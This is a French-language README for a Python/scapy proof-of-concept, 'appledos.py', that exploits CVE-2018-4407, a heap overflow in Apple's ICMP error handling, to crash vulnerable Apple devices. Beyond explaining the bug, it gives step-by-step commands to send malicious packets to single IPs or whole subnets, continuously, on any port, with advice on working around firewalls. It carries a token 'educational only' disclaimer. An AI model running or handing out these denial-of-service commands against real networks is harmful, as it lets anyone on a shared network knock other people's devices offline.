
Perturber les appareils Apple sur le réseau avec CVE-2018-4407 (dépassement de tas dans le traitement de paquets incorrects)
Basé sur CVE-2018-4407 (https://lgtm.com/blog/apple_xnu_icmp_error_CVE-2018-4407), ce tweet et cette vidéo. Le bug est une vulnérabilité de débordement de tas dans la gestion de paquets malveillants lorsque le système d'exploitation tente d'envoyer un message ICMP contenant des segments du paquet malveillant en retour à l'expéditeur.

Ce POC fera planter les appareils Apple vulnérables en envoyant des données de paquet TCP malveillantes contenant de longues options d'en-tête TCP/IP pour faire déborder le message ICMP lorsque l'appareil tente d'envoyer le message d'erreur. Vous devez être capable d'envoyer des données de paquet réseau directement à l'appareil (par exemple sur le même réseau local).
Les versions de système d'exploitation et appareils suivants sont vulnérables :
UNIQUEMENT À DES FINS ÉDUCATIVES. N'UTILISEZ PAS CE SCRIPT POUR DES ACTIVITÉS ILLÉGALES. L'AUTEUR N'EST PAS RESPONSABLE DE TOUTE MAUVAISE UTILISATION OU DE TOUT DOMMAGE.
Assurez-vous d'avoir Python 3 et scapy.
pip install scapy
# or
pip3 install scapy
Vous devrez peut-être exécuter le script en tant que root.
Envoie un paquet malveillant au sous-réseau 192.168.1.0/24.
sudo ./appledos.py 192.168.1.0/24
Affiche l'IP après l'envoi du paquet.
sudo ./appledos.py --verbose 192.168.1.0/24
Envoie un paquet malveillant en continu au sous-réseau 192.168.1.0/24.
sudo ./appledos.py --continuous 192.168.1.0/24
Change le port de destination (défaut : 80). Vous pouvez changer pour n'importe quel port car les appareils répondront à tout paquet entrant sur n'importe quel port, mais vous voudrez peut-être tenir compte du blocage de port ou du pare-feu sur l'hôte ou le réseau.
sudo ./appledos.py --continuous --port 22 192.168.1.0/24
Envoie un paquet malveillant à une seule IP.
sudo ./appledos.py 192.168.1.118
Définit le nombre maximum de workers (défaut : 100).
sudo ./appledos.py --worker 10 192.168.1.0/24
Ce script utilise scapy et il a un problème connu pour gérer /dev/bpf (Berkeley Packet Filter) lors de l'envoi de données de paquet depuis un système d'exploitation comme macOS avec multi-thread. Si vous rencontrez No /dev/bpf handle is available, essayez de réduire le nombre de workers à 1 ou 2. Ou, vous pouvez simplement utiliser Linux comme dans la vidéo de démonstration.